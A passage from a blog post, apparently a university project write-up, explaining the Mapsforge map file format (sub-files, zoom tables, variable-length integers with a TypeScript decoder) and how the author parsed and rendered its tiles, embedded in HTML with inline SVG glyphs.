-1 4.279 7.513000000000001)"&gt;&lt;use xlink:href="#g2F3432F0380DABEBAA7D153F272AC8F3" x="0" y="0" fill="#000000" fill-rule="nonzero"/&gt;&lt;/g&gt;&lt;g class="typst-text" transform="matrix(1 0 0 -1 9.779 7.513000000000001)"&gt;&lt;use xlink:href="#gA1BDADE771CC07CEBCEC397EA5E3F220" x="0" y="0" fill="#000000" fill-rule="nonzero"/&gt;&lt;/g&gt;&lt;g class="typst-text" transform="matrix(1 0 0 -1 14.670333333333332 7.513000000000001)"&gt;&lt;use xlink:href="#gFD2112639B0D2471708560F8720745C2" x="0" y="0" fill="#000000" fill-rule="nonzero"/&gt;&lt;/g&gt;&lt;g class="typst-text" transform="matrix(1 0 0 -1 20.170333333333332 7.513000000000001)"&gt;&lt;use xlink:href="#g48A1801D271A49748DC70B5AAC93C3B4" x="0" y="0" fill="#000000" fill-rule="nonzero"/&gt;&lt;/g&gt;&lt;/g&gt;&lt;defs id="glyph"&gt;&lt;symbol id="g12E319C43CA464B0F5F60BC3B25E348B" overflow="visible"&gt;&lt;path d="M 0 0m 3.498 -2.728 c 0.09899998 0 0.15400004 0.05499983 0.15400004 0.15400004 c 0 0.032999992 -0.022000074 0.0769999 -0.055000067 0.12099981 c -0.5719998 0.44000006 -1.0339999 1.1660001 -1.375 2.167 c -0.29699993 0.869 -0.45099986 1.727 -0.45099986 2.5740001 v 0.9239998 c 0 0.8470001 0.15399992 1.7049999 0.45099986 2.574 c 0.34100008 1.0010004 0.8030002 1.7270002 1.375 2.1670003 c 0.032999992 0.032999992 0.055000067 0.076999664 0.055000067 0.12100029 c 0 0.09899998 -0.055000067 0.15399933 -0.15400004 0.15399933 c -0.010999918 0 -0.04399991 -0.01099968 -0.0769999 -0.032999992 c -0.6600001 -0.50599957 -1.21 -1.2539997 -1.661 -2.2549996 c -0.42900002 -0.95700026 -0.64900005 -1.8590002 -0.64900005 -2.7280002 v -0.9239998 c 0 -0.8690001 0.22000003 -1.7710001 0.64900005 -2.7280002 c 0.45099998 -1.0009999 1.0009999 -1.7489998 1.661 -2.2549999 c 0.032999992 -0.022000074 0.065999985 -0.032999992 0.0769999 -0.032999992 Z "/&gt;&lt;/symbol&gt;&lt;symbol id="g2F3432F0380DABEBAA7D153F272AC8F3" overflow="visible"&gt;&lt;path d="M 0 0m 2.9589999 7.3259997 c -0.45099998 -0.4619999 -1.1109998 -0.69299984 -1.9799999 -0.69299984 v -0.4289999 c 0.572 0 1.045 0.08799982 1.4080001 0.26399994 v -5.566 c 0 -0.19800001 -0.04400015 -0.32999998 -0.14300013 -0.385 c -0.09899998 -0.055000007 -0.37399995 -0.08800003 -0.814 -0.08800003 h -0.385 v -0.429 c 0.27499998 0.022 0.8690001 0.033 1.782 0.033 c 0.9130001 0 1.5070002 -0.011 1.7820003 -0.033 v 0.429 h -0.38500023 c -0.45099998 0 -0.7260001 0.033000022 -0.8139999 0.08800003 c -0.08800006 0.055000007 -0.14300013 0.18699998 -0.14300013 0.385 v 6.094 c 0 0.26399994 -0.022000074 0.32999992 -0.3080001 0.32999992 Z "/&gt;&lt;/symbol&gt;&lt;symbol id="gA1BDADE771CC07CEBCEC397EA5E3F220" overflow="visible"&gt;&lt;path d="M 0 0m 1.529 1.166 c -0.352 0 -0.58300006 -0.264 -0.58300006 -0.616 c 0 -0.33 0.25300002 -0.605 0.58300006 -0.605 c 0.15399992 0 0.2859999 0.044 0.385 0.143 l 0.010999918 -0.088 c 0 -0.693 -0.23099995 -1.287 -0.69299996 -1.76 c -0.07700002 -0.08800006 -0.12100005 -0.15400004 -0.12100005 -0.19799995 c 0 -0.11000013 0.04400003 -0.16499996 0.143 -0.16499996 c 0.0990001 0 0.23100007 0.13199997 0.41799998 0.38499987 c 0.37400007 0.528 0.5610001 1.1110001 0.5610001 1.738 c 0 0.583 -0.19799995 1.166 -0.704 1.166 Z "/&gt;&lt;/symbol&gt;&lt;symbol id="gFD2112639B0D2471708560F8720745C2" overflow="visible"&gt;&lt;path d="M 0 0m 2.739 -0.242 c 1.5509999 0 2.3209999 1.254 2.3209999 3.762 c 0 1.6830001 -0.35199976 2.8049998 -1.0450001 3.355 c -0.385 0.29699993 -0.8139999 0.45099974 -1.2649999 0.45099974 c -1.551 0 -2.321 -1.2649999 -2.321 -3.8059998 c 0 -2.024 0.53900003 -3.762 2.3100002 -3.762 Z m 1.2319999 6.006 c 0.0769999 -0.38499975 0.109999895 -1.0889997 0.109999895 -2.112 c 0 -1.0120001 -0.043999672 -1.76 -0.12099981 -2.244 c -0.14300013 -0.88 -0.54999995 -1.3199999 -1.221 -1.3199999 c -0.25300002 0 -0.50600004 0.09900001 -0.737 0.286 c -0.29700005 0.25299996 -0.47300005 0.77000004 -0.5500001 1.562 c -0.032999992 0.27499998 -0.04400003 0.847 -0.04400003 1.716 c 0 0.95700026 0.032999992 1.6279998 0.08800006 1.9910002 c 0.09899998 0.605 0.29699993 0.9899998 0.605 1.1549997 c 0.24199986 0.13199997 0.45099998 0.19799995 0.638 0.19799995 c 0.7149999 0 1.1109998 -0.5829997 1.2319999 -1.2319999 Z "/&gt;&lt;/symbol&gt;&lt;symbol id="g48A1801D271A49748DC70B5AAC93C3B4" overflow="visible"&gt;&lt;path d="M 0 0m 0.858 -2.695 c 0.66 0.50600004 1.21 1.254 1.661 2.2549999 c 0.4289999 0.957 0.6489999 1.859 0.6489999 2.7280002 v 0.9239998 c 0 0.86899996 -0.22000003 1.7709999 -0.6489999 2.7280002 c -0.45099998 1.0009999 -1.001 1.7490001 -1.661 2.2549996 c -0.032999992 0.022000313 -0.065999985 0.032999992 -0.07699996 0.032999992 c -0.09900004 0 -0.15400004 -0.05499935 -0.15400004 -0.15399933 c 0 -0.044000626 0.022000015 -0.0880003 0.055000007 -0.12100029 c 0.57199997 -0.44000006 1.0339999 -1.1659999 1.375 -2.1670003 c 0.29700017 -0.86899996 0.45099998 -1.7269998 0.45099998 -2.574 v -0.9239998 c 0 -0.8470001 -0.1539998 -1.7050002 -0.45099998 -2.5740001 c -0.34099996 -1.0009999 -0.803 -1.727 -1.375 -2.167 c -0.032999992 -0.04399991 -0.055000007 -0.08799982 -0.055000007 -0.12099981 c 0 -0.099000216 0.055000007 -0.15400004 0.15400004 -0.15400004 c 0.010999978 0 0.04399997 0.010999918 0.07699996 0.032999992 Z "/&gt;&lt;/symbol&gt;&lt;/defs&gt;&lt;/svg&gt;&lt;/span&gt; index by adding a 5 byte offset, or the &lt;span style="display: inline-block"&gt;&lt;svg class="typst-frame" style="overflow: visible; width: 2.2226666666666666em; height: 0.683em;" viewBox="0 0 24.449333333333332 7.513000000000001" width="24.449333333333332pt" height="7.513000000000001pt" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" xmlns:h5="http://www.w3.org/1999/xhtml"&gt;&lt;g&gt;&lt;g class="typst-text" transform="matrix(1 0 0 -1 0 7.513000000000001)"&gt;&lt;use xlink:href="#g12E319C43CA464B0F5F60BC3B25E348B" x="0" y="0" fill="#000000" fill-rule="nonzero"/&gt;&lt;/g&gt;&lt;g class="typst-text" transform="matrix(1 0 0 -1 4.279 7.513000000000001)"&gt;&lt;use xlink:href="#gFD2112639B0D2471708560F8720745C2" x="0" y="0" fill="#000000" fill-rule="nonzero"/&gt;&lt;/g&gt;&lt;g class="typst-text" transform="matrix(1 0 0 -1 9.779 7.513000000000001)"&gt;&lt;use xlink:href="#gA1BDADE771CC07CEBCEC397EA5E3F220" x="0" y="0" fill="#000000" fill-rule="nonzero"/&gt;&lt;/g&gt;&lt;g class="typst-text" transform="matrix(1 0 0 -1 14.670333333333332 7.513000000000001)"&gt;&lt;use xlink:href="#g2F3432F0380DABEBAA7D153F272AC8F3" x="0" y="0" fill="#000000" fill-rule="nonzero"/&gt;&lt;/g&gt;&lt;g class="typst-text" transform="matrix(1 0 0 -1 20.170333333333332 7.513000000000001)"&gt;&lt;use xlink:href="#g48A1801D271A49748DC70B5AAC93C3B4" x="0" y="0" fill="#000000" fill-rule="nonzero"/&gt;&lt;/g&gt;&lt;/g&gt;&lt;defs id="glyph"&gt;&lt;symbol id="g12E319C43CA464B0F5F60BC3B25E348B" overflow="visible"&gt;&lt;path d="M 0 0m 3.498 -2.728 c 0.09899998 0 0.15400004 0.05499983 0.15400004 0.15400004 c 0 0.032999992 -0.022000074 0.0769999 -0.055000067 0.12099981 c -0.5719998 0.44000006 -1.0339999 1.1660001 -1.375 2.167 c -0.29699993 0.869 -0.45099986 1.727 -0.45099986 2.5740001 v 0.9239998 c 0 0.8470001 0.15399992 1.7049999 0.45099986 2.574 c 0.34100008 1.0010004 0.8030002 1.7270002 1.375 2.1670003 c 0.032999992 0.032999992 0.055000067 0.076999664 0.055000067 0.12100029 c 0 0.09899998 -0.055000067 0.15399933 -0.15400004 0.15399933 c -0.010999918 0 -0.04399991 -0.01099968 -0.0769999 -0.032999992 c -0.6600001 -0.50599957 -1.21 -1.2539997 -1.661 -2.2549996 c -0.42900002 -0.95700026 -0.64900005 -1.8590002 -0.64900005 -2.7280002 v -0.9239998 c 0 -0.8690001 0.22000003 -1.7710001 0.64900005 -2.7280002 c 0.45099998 -1.0009999 1.0009999 -1.7489998 1.661 -2.2549999 c 0.032999992 -0.022000074 0.065999985 -0.032999992 0.0769999 -0.032999992 Z "/&gt;&lt;/symbol&gt;&lt;symbol id="gFD2112639B0D2471708560F8720745C2" overflow="visible"&gt;&lt;path d="M 0 0m 2.739 -0.242 c 1.5509999 0 2.3209999 1.254 2.3209999 3.762 c 0 1.6830001 -0.35199976 2.8049998 -1.0450001 3.355 c -0.385 0.29699993 -0.8139999 0.45099974 -1.2649999 0.45099974 c -1.551 0 -2.321 -1.2649999 -2.321 -3.8059998 c 0 -2.024 0.53900003 -3.762 2.3100002 -3.762 Z m 1.2319999 6.006 c 0.0769999 -0.38499975 0.109999895 -1.0889997 0.109999895 -2.112 c 0 -1.0120001 -0.043999672 -1.76 -0.12099981 -2.244 c -0.14300013 -0.88 -0.54999995 -1.3199999 -1.221 -1.3199999 c -0.25300002 0 -0.50600004 0.09900001 -0.737 0.286 c -0.29700005 0.25299996 -0.47300005 0.77000004 -0.5500001 1.562 c -0.032999992 0.27499998 -0.04400003 0.847 -0.04400003 1.716 c 0 0.95700026 0.032999992 1.6279998 0.08800006 1.9910002 c 0.09899998 0.605 0.29699993 0.9899998 0.605 1.1549997 c 0.24199986 0.13199997 0.45099998 0.19799995 0.638 0.19799995 c 0.7149999 0 1.1109998 -0.5829997 1.2319999 -1.2319999 Z "/&gt;&lt;/symbol&gt;&lt;symbol id="gA1BDADE771CC07CEBCEC397EA5E3F220" overflow="visible"&gt;&lt;path d="M 0 0m 1.529 1.166 c -0.352 0 -0.58300006 -0.264 -0.58300006 -0.616 c 0 -0.33 0.25300002 -0.605 0.58300006 -0.605 c 0.15399992 0 0.2859999 0.044 0.385 0.143 l 0.010999918 -0.088 c 0 -0.693 -0.23099995 -1.287 -0.69299996 -1.76 c -0.07700002 -0.08800006 -0.12100005 -0.15400004 -0.12100005 -0.19799995 c 0 -0.11000013 0.04400003 -0.16499996 0.143 -0.16499996 c 0.0990001 0 0.23100007 0.13199997 0.41799998 0.38499987 c 0.37400007 0.528 0.5610001 1.1110001 0.5610001 1.738 c 0 0.583 -0.19799995 1.166 -0.704 1.166 Z "/&gt;&lt;/symbol&gt;&lt;symbol id="g2F3432F0380DABEBAA7D153F272AC8F3" overflow="visible"&gt;&lt;path d="M 0 0m 2.9589999 7.3259997 c -0.45099998 -0.4619999 -1.1109998 -0.69299984 -1.9799999 -0.69299984 v -0.4289999 c 0.572 0 1.045 0.08799982 1.4080001 0.26399994 v -5.566 c 0 -0.19800001 -0.04400015 -0.32999998 -0.14300013 -0.385 c -0.09899998 -0.055000007 -0.37399995 -0.08800003 -0.814 -0.08800003 h -0.385 v -0.429 c 0.27499998 0.022 0.8690001 0.033 1.782 0.033 c 0.9130001 0 1.5070002 -0.011 1.7820003 -0.033 v 0.429 h -0.38500023 c -0.45099998 0 -0.7260001 0.033000022 -0.8139999 0.08800003 c -0.08800006 0.055000007 -0.14300013 0.18699998 -0.14300013 0.385 v 6.094 c 0 0.26399994 -0.022000074 0.32999992 -0.3080001 0.32999992 Z "/&gt;&lt;/symbol&gt;&lt;symbol id="g48A1801D271A49748DC70B5AAC93C3B4" overflow="visible"&gt;&lt;path d="M 0 0m 0.858 -2.695 c 0.66 0.50600004 1.21 1.254 1.661 2.2549999 c 0.4289999 0.957 0.6489999 1.859 0.6489999 2.7280002 v 0.9239998 c 0 0.86899996 -0.22000003 1.7709999 -0.6489999 2.7280002 c -0.45099998 1.0009999 -1.001 1.7490001 -1.661 2.2549996 c -0.032999992 0.022000313 -0.065999985 0.032999992 -0.07699996 0.032999992 c -0.09900004 0 -0.15400004 -0.05499935 -0.15400004 -0.15399933 c 0 -0.044000626 0.022000015 -0.0880003 0.055000007 -0.12100029 c 0.57199997 -0.44000006 1.0339999 -1.1659999 1.375 -2.1670003 c 0.29700017 -0.86899996 0.45099998 -1.7269998 0.45099998 -2.574 v -0.9239998 c 0 -0.8470001 -0.1539998 -1.7050002 -0.45099998 -2.5740001 c -0.34099996 -1.0009999 -0.803 -1.727 -1.375 -2.167 c -0.032999992 -0.04399991 -0.055000007 -0.08799982 -0.055000007 -0.12099981 c 0 -0.099000216 0.055000007 -0.15400004 0.15400004 -0.15400004 c 0.010999978 0 0.04399997 0.010999918 0.07699996 0.032999992 Z "/&gt;&lt;/symbol&gt;&lt;/defs&gt;&lt;/svg&gt;&lt;/span&gt; index by adding 5 &lt;span style="display: inline-block"&gt;&lt;svg class="typst-frame" style="overflow: visible; width: 0.778em; height: 0.683em;" viewBox="0 0 8.558 7.513000000000001" width="8.558pt" height="7.513000000000001pt" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" xmlns:h5="http://www.w3.org/1999/xhtml"&gt;&lt;g&gt;&lt;g class="typst-text" transform="matrix(1 0 0 -1 0 7.513000000000001)"&gt;&lt;use xlink:href="#g471814499816E9851626FDAE16332F23" x="0" y="0" fill="#000000" fill-rule="nonzero"/&gt;&lt;/g&gt;&lt;/g&gt;&lt;defs id="glyph"&gt;&lt;symbol id="g471814499816E9851626FDAE16332F23" overflow="visible"&gt;&lt;path d="M 0 0m 6.93 0.352 c 0 0.07699999 -0.021999836 0.132 -0.076999664 0.18699998 l -2.211 2.211 l 2.211 2.211 c 0.05499983 0.05499983 0.076999664 0.11000013 0.076999664 0.1869998 c 0 0.14300013 -0.10999966 0.25300026 -0.25299978 0.25300026 c -0.07700014 0 -0.13199997 -0.021999836 -0.18700027 -0.07700014 l -2.211 -2.211 l -2.2109997 2.211 c -0.055000067 0.055000305 -0.11000013 0.07700014 -0.18700004 0.07700014 c -0.143 0 -0.25300002 -0.11000013 -0.25300002 -0.25300026 c 0 -0.076999664 0.021999955 -0.13199997 0.07700002 -0.1869998 l 2.211 -2.211 l -2.211 -2.211 c -0.055000067 -0.054999977 -0.07700002 -0.109999985 -0.07700002 -0.18699998 c 0 -0.143 0.110000014 -0.253 0.25300002 -0.253 c 0.0769999 0 0.13199997 0.022 0.18700004 0.077 l 2.2109997 2.211 l 2.211 -2.211 c 0.055000305 -0.055 0.11000013 -0.077 0.18700027 -0.077 c 0.14300013 0 0.25299978 0.10999999 0.25299978 0.253 Z "/&gt;&lt;/symbol&gt;&lt;/defs&gt;&lt;/svg&gt;&lt;/span&gt; the amount of x tiles in the sub-file.&lt;/p&gt;
&lt;h5&gt;Sub-files&lt;/h5&gt;
&lt;figure&gt;
&lt;figure&gt;
&lt;a href='https://george.honeywood.org.uk/blog/uni-final-year-project/images/high-detail-at-low-zoom_hu_e9995cc87cc878f8.webp'&gt;
&lt;picture&gt;
&lt;source
type="image/webp"
srcset="https://george.honeywood.org.uk/blog/uni-final-year-project/images/high-detail-at-low-zoom_hu_710cdc904b6e76c4.webp 320w, https://george.honeywood.org.uk/blog/uni-final-year-project/images/high-detail-at-low-zoom_hu_50ed69833f7ccbd5.webp 640w, https://george.honeywood.org.uk/blog/uni-final-year-project/images/high-detail-at-low-zoom_hu_a2222d5be7cada9a.webp 960w, https://george.honeywood.org.uk/blog/uni-final-year-project/images/high-detail-at-low-zoom_hu_28724f8f27f76229.webp 1280w"
sizes="(max-width: 600px) 100vw, 600px"
/&gt;
&lt;img
style=""
src='https://george.honeywood.org.uk/blog/uni-final-year-project/images/high-detail-at-low-zoom_hu_6e6ec1137f9c1e78.jpg'
width="1437"
height="857"
loading="lazy"
alt='Raw tiled data from zoom 14 base tiles'
/&gt;
&lt;/picture&gt;
&lt;/a&gt;
&lt;/figure&gt;
&lt;figcaption&gt;Figure 3:&lt;span style="white-space: pre-wrap"&gt;&amp;#x20;&amp;#x20;&lt;/span&gt;Raw tiled data from zoom 14 base tiles&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;p&gt;Sub-files store map data for a range of zoom levels. For example, the file is compromised of three sub-files, one for z1-z7, based at z5, another for z8-z11, based at z10, and a final one for z12-z21, based at z14. This system provides a compromise between storage space and geographical correctness — if, say, we want data for z18, we “over-zoom” the z14 sub-file, and vice versa for z1, we “under-zoom” the z5 sub-file. Therefore, we don’t need to store much duplicated data, compared to storing each zoom level separately.&lt;/p&gt;
&lt;p&gt;The over-zoom/under-zoom functionality is supported by each sub-file containing a “zoom table”, which contains how many PoIs/Ways need to be read for the tile at the requested zoom level. For example, when under-zooming a z14 tile to z12, you will be showing around 112 z14 base tiles (on a 1080p screen). This is too many tiles to be able to render all of their features with acceptable performance. To enable this zoom-table feature, the Way and PoI data in each tile is sorted by “feature importance”, meaning that data to be shown at low zoom levels, like place labels or important roads, comes first, and less important geometries like houses are placed last. Therefore, you can read that there should be &lt;code&gt;x&lt;/code&gt; amount of PoIs/Ways for this tile, for the zoom level you are decoding, read the specified amount, then skip over the rest.&lt;/p&gt;
&lt;h5&gt;Variable length integers&lt;/h5&gt;
&lt;p&gt;To save file space, coordinates and other numbers are encoded in a custom format. This means that both large and small numbers can use the same representation, whilst requiring a minimal amount of bytes to store them. The format is based around the idea that the first bit of a byte is used as a continuation bit — i.e., in &lt;code&gt;1000 0000&lt;/code&gt; the continuation bit is set. If the continuation bit is set, you continue to read the next byte as part of the same number, until you reach an unset continuation bit.&lt;/p&gt;
&lt;p&gt;The format is little-endian, meaning that the first byte of the number is the least significant&lt;a id="loc-71" href="#loc-169" role="doc-noteref"&gt;&lt;sup&gt;1&lt;/sup&gt;&lt;/a&gt;. Hence, you can read the whole number by shifting each of the subsequent numbers by &lt;span style="display: inline-block"&gt;&lt;svg class="typst-frame" style="overflow: visible; width: 1.113em; height: 0.683em;" viewBox="0 0 12.242999999999999 7.513000000000001" width="12.242999999999999pt" height="7.513000000000001pt" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" xmlns:h5="http://www.w3.org/1999/xhtml"&gt;&lt;g&gt;&lt;g class="typst-text" transform="matrix(1 0 0 -1 0 7.513000000000001)"&gt;&lt;use xlink:href="#gCBE8CD1B04A35B9EEE5A2E7B10BCBCA5" x="0" y="0" fill="#000000" fill-rule="nonzero"/&gt;&lt;/g&gt;&lt;g class="typst-text" transform="matrix(1 0 0 -1 5.643000000000001 7.513000000000001)"&gt;&lt;use xlink:href="#gE2B7E3D264F2F7FB4E5DAE10F9857908" x="0" y="0" fill="#000000" fill-rule="nonzero"/&gt;&lt;/g&gt;&lt;/g&gt;&lt;defs id="glyph"&gt;&lt;symbol id="gCBE8CD1B04A35B9EEE5A2E7B10BCBCA5" overflow="visible"&gt;&lt;path d="M 0 0m 5.225 6.644 c 0.07700014 0.09899998 0.11000013 0.2420001 0.11000013 0.44000006 h -2.662 c -0.75900006 0 -1.1880001 0.043999672 -1.2650001 0.14299965 c -0.032999992 0.032999992 -0.065999985 0.11000013 -0.08800006 0.20900011 h -0.34099996 l -0.37399995 -2.3319998 h 0.36299998 c 0.109999955 0.6159997 0.19800001 0.9460001 0.264 1.0009999 c 0.032999992 0.032999992 0.37399995 0.05499983 1.0229999 0.05499983 h 2.156 l -1.1659999 -1.6500001 c -0.8909998 -1.2649999 -1.3309999 -2.6289997 -1.3309999 -4.114 c 0 -0.429 0.17599988 -0.638 0.53900003 -0.638 c 0.36299992 0 0.53900003 0.20899999 0.53900003 0.638 v 0.561 c 0 1.6719999 0.26399994 2.882 0.7809999 3.6190002 Z "/&gt;&lt;/symbol&gt;&lt;symbol id="gE2B7E3D264F2F7FB4E5DAE10F9857908" overflow="visible"&gt;&lt;path d="M 0 0m 5.907 1.507 c -0.25300026 -0.86899996 -0.6160002 -1.309 -1.0669999 -1.309 c -0.14300013 0 -0.22000027 0.11 -0.22000027 0.319 c 0 0.15399998 0.065999985 0.407 0.19799995 0.74799997 c 0.44000006 1.199 0.6600003 1.991 0.6600003 2.3979998 c 0 0.7700002 -0.5170002 1.1990001 -1.2870002 1.1990001 c -0.6489999 0 -1.21 -0.28599977 -1.661 -0.86899996 c -0.08800006 0.48399973 -0.47300005 0.86899996 -1.0339999 0.86899996 c -0.61600006 0 -0.85800004 -0.572 -1.0120001 -1.0669999 c -0.109999985 -0.352 -0.16499999 -0.5610001 -0.16499999 -0.638 c 0 -0.09899998 0.055000007 -0.15400004 0.176 -0.15400004 c 0.055000007 0 0.088 0.010999918 0.12099999 0.032999992 c 0.055000007 0.09899998 0.088 0.17599988 0.09899998 0.25300002 c 0.19800001 0.83599997 0.45100003 1.2539997 0.74799997 1.2539997 c 0.19800007 0 0.29700005 -0.1539998 0.29700005 -0.4619999 c 0 -0.14299989 -0.054999948 -0.43999982 -0.176 -0.8909998 l -0.627 -2.497 c -0.032999992 -0.143 -0.09900004 -0.42900002 -0.09900004 -0.48400003 c 0 -0.22 0.12099999 -0.32999998 0.36299998 -0.32999998 c 0.20899999 0 0.36300004 0.11 0.44000006 0.32999998 c 0.021999955 0.055000007 0.08799994 0.32999998 0.20899999 0.803 l 0.23100007 0.979 l 0.32999992 1.254 c 0.12100005 0.25300002 0.3080001 0.50600004 0.53900003 0.77 c 0.319 0.35200024 0.7149999 0.5279999 1.188 0.5279999 c 0.36299992 0 0.53900003 -0.24199963 0.53900003 -0.7149997 c 0 -0.41799998 -0.23099995 -1.2540002 -0.704 -2.5080001 c -0.07700014 -0.19799995 -0.11000013 -0.36299992 -0.11000013 -0.5059999 c 0 -0.53900003 0.40700006 -0.935 0.93499994 -0.935 c 0.4840002 0 0.86899996 0.275 1.144 0.825 c 0.20900011 0.44000006 0.31900024 0.737 0.31900024 0.88 c 0 0.09899998 -0.055000305 0.15400004 -0.17600012 0.15400004 c -0.032999992 0 -0.19799995 -0.0990001 -0.19799995 -0.23100007 Z "/&gt;&lt;/symbol&gt;&lt;/defs&gt;&lt;/svg&gt;&lt;/span&gt;, then applying a bitwise OR (represented by &lt;code&gt;|&lt;/code&gt; in JavaScript) against the current total. I’ve provided the commented implementation here, as the code is easier to understand than my prose explaination.&lt;/p&gt;
&lt;div class="typst-code"&gt;
&lt;pre&gt;&lt;code data-lang="typescript"&gt;&lt;span style="color: #74747c"&gt;//&lt;/span&gt;&lt;span style="color: #74747c"&gt; decode a variable length unsigned integer as a number&lt;/span&gt;&lt;br&gt;&lt;span style="color: #4b69c6"&gt;getVUint&lt;/span&gt;() {&lt;br&gt; &lt;span style="color: #74747c"&gt;//&lt;/span&gt;&lt;span style="color: #74747c"&gt; if the first bit is 1, need to read the next byte rest of the 7 bits&lt;/span&gt;&lt;br&gt; &lt;span style="color: #74747c"&gt;//&lt;/span&gt;&lt;span style="color: #74747c"&gt; are the numeric value, starting with the least significant&lt;/span&gt;&lt;br&gt; &lt;span style="color: #d73948"&gt;let&lt;/span&gt; value &lt;span style="color: #d73948"&gt;=&lt;/span&gt; &lt;span style="color: #b60157"&gt;0&lt;/span&gt;;&lt;br&gt; &lt;span style="color: #d73948"&gt;let&lt;/span&gt; shift &lt;span style="color: #d73948"&gt;=&lt;/span&gt; &lt;span style="color: #b60157"&gt;0&lt;/span&gt;;&lt;br&gt;&lt;br&gt; &lt;span style="color: #74747c"&gt;//&lt;/span&gt;&lt;span style="color: #74747c"&gt; check if we need to continue&lt;/span&gt;&lt;br&gt; &lt;span style="color: #d73948"&gt;while&lt;/span&gt; ((&lt;span style="color: #d73948"&gt;this&lt;/span&gt;.&lt;span style="color: #4b69c6"&gt;data&lt;/span&gt;.&lt;span style="color: #4b69c6"&gt;getUint8&lt;/span&gt;(&lt;span style="color: #d73948"&gt;this&lt;/span&gt;.offset) &lt;span style="color: #d73948"&gt;&amp;amp;&lt;/span&gt; &lt;span style="color: #b60157"&gt;0b1000_0000&lt;/span&gt;) &lt;span style="color: #d73948"&gt;!=&lt;/span&gt; &lt;span style="color: #b60157"&gt;0&lt;/span&gt;) {&lt;br&gt; &lt;span style="color: #74747c"&gt;//&lt;/span&gt;&lt;span style="color: #74747c"&gt; if this not the first byte we've read, each bit is worth more&lt;/span&gt;&lt;br&gt; value &lt;span style="color: #d73948"&gt;|=&lt;/span&gt; (&lt;span style="color: #d73948"&gt;this&lt;/span&gt;.&lt;span style="color: #4b69c6"&gt;data&lt;/span&gt;.&lt;span style="color: #4b69c6"&gt;getUint8&lt;/span&gt;(&lt;span style="color: #d73948"&gt;this&lt;/span&gt;.offset) &lt;span style="color: #d73948"&gt;&amp;amp;&lt;/span&gt; &lt;span style="color: #b60157"&gt;0b0111_1111&lt;/span&gt;) &lt;span style="color: #d73948"&gt;&amp;lt;&amp;lt;&lt;/span&gt; shift&lt;br&gt; &lt;span style="color: #d73948"&gt;this&lt;/span&gt;.offset&lt;span style="color: #d73948"&gt;++&lt;/span&gt;&lt;br&gt; shift &lt;span style="color: #d73948"&gt;+=&lt;/span&gt; &lt;span style="color: #b60157"&gt;7&lt;/span&gt;&lt;br&gt; }&lt;br&gt;&lt;br&gt; &lt;span style="color: #74747c"&gt;//&lt;/span&gt;&lt;span style="color: #74747c"&gt; read the seven bits from the last byte&lt;/span&gt;&lt;br&gt; value &lt;span style="color: #d73948"&gt;|=&lt;/span&gt; (&lt;span style="color: #d73948"&gt;this&lt;/span&gt;.&lt;span style="color: #4b69c6"&gt;data&lt;/span&gt;.&lt;span style="color: #4b69c6"&gt;getUint8&lt;/span&gt;(&lt;span style="color: #d73948"&gt;this&lt;/span&gt;.offset) &lt;span style="color: #d73948"&gt;&amp;lt;&amp;lt;&lt;/span&gt; shift)&lt;br&gt; &lt;span style="color: #d73948"&gt;this&lt;/span&gt;.offset&lt;span style="color: #d73948"&gt;++&lt;/span&gt;&lt;br&gt; &lt;span style="color: #d73948"&gt;return&lt;/span&gt; value&lt;br&gt;}&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;p&gt;Signed integers follow a similar scheme with the continuation bit, but also sacrifice the second bit of the last byte to indicate the sign of the number, e.g., &lt;code&gt;0100 0000&lt;/code&gt;. There is no concept of a floating point number in the format. Instead, you divide numbers when it is required, such as for coordinates, which are stored in the file in microdegree units.&lt;/p&gt;
&lt;h4&gt;Writing a parser&lt;/h4&gt;
&lt;p&gt;In my first iteration of this proof of concept, I was decoding the file inline, using a &lt;code&gt;DataView&lt;/code&gt;, manually keeping track of offsets within the blob. This worked, but led to a lot of duplicate code that was just handling offsets, and a number of errors caused by me making some trivial mistake when incrementing the offset by the wrong amount. To remedy this smell, I refactored the code to use the abstraction of a &lt;code&gt;Reader&lt;/code&gt;. You construct the &lt;code&gt;Reader&lt;/code&gt; with a blob, then call methods like &lt;code&gt;.getVUint()&lt;/code&gt;, or &lt;code&gt;.getBigUint64()&lt;/code&gt;. These methods increment an offset internal to the &lt;code&gt;Reader&lt;/code&gt; class.&lt;/p&gt;
&lt;h4&gt;Rendering the tiles&lt;/h4&gt;
&lt;figure id="loc-72"&gt;
&lt;figure&gt;
&lt;a href='https://george.honeywood.org.uk/blog/uni-final-year-project/images/styled_hu_515b215ee50b604a.webp'&gt;
&lt;picture&gt;
&lt;source
type="image/webp"
srcset="https://george.honeywood.org.uk/blog/uni-final-year-project/images/styled_hu_3ee15ccc70051864.webp 320w, https://george.honeywood.org.uk/blog/uni-final-year-project/images/styled_hu_df4e352735b69e53.webp 640w, https://george.honeywood.org.uk/blog/uni-final-year-project/images/styled_hu_488e5becae307884.webp 960w, https://george.honeywood.org.uk/blog/uni-final-year-project/images/styled_hu_ba00fb0b83d89c01.webp 1280w"
sizes="(max-width: 600px) 100vw, 600px"
/&gt;
&lt;img
style=""
src='https://george.honeywood.org.uk/blog/uni-final-year-project/images/styled_hu_9552e5fbd48e4e6.jpg'
width="1437"
height="845"
loading="lazy"
alt='Styling of data from Mapsforge file'
/&gt;
&lt;/picture&gt;
&lt;/a&gt;
&lt;/figure&gt;
&lt;figcaption&gt;Figure 4:&lt;span style="white-space: pre-wrap"&gt;&amp;#x20;&amp;#x20;&lt;/span&gt;Styling of data from Mapsforge file&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;p&gt;When rendering the map, I first convert the current zoom level to the corresponding base zoom level of one of the sub-files. Once I have this I then calculate the coordinates at the top-left and bottom-right of the screen, then convert these into Z/X/Y tile numbers, which I can then fetch from the file. To improve rendering performance, only the PoIs and Ways specified in the zoom table for that zoom level are shown.&lt;/p&gt;
&lt;p&gt;I handled styling fairly simplistically, setting a number of booleans based on way tags, as the tiles load in. This moves the more complicated (and slow) logic out of the rendering hot path. Inside the &lt;code&gt;render()&lt;/code&gt; function I then check these booleans and choose whether a stroke or fill should be used for that way, and what colour it should be. This is shown in Figure &lt;a href="#loc-72"&gt;3.4&lt;/a&gt;.&lt;/p&gt;
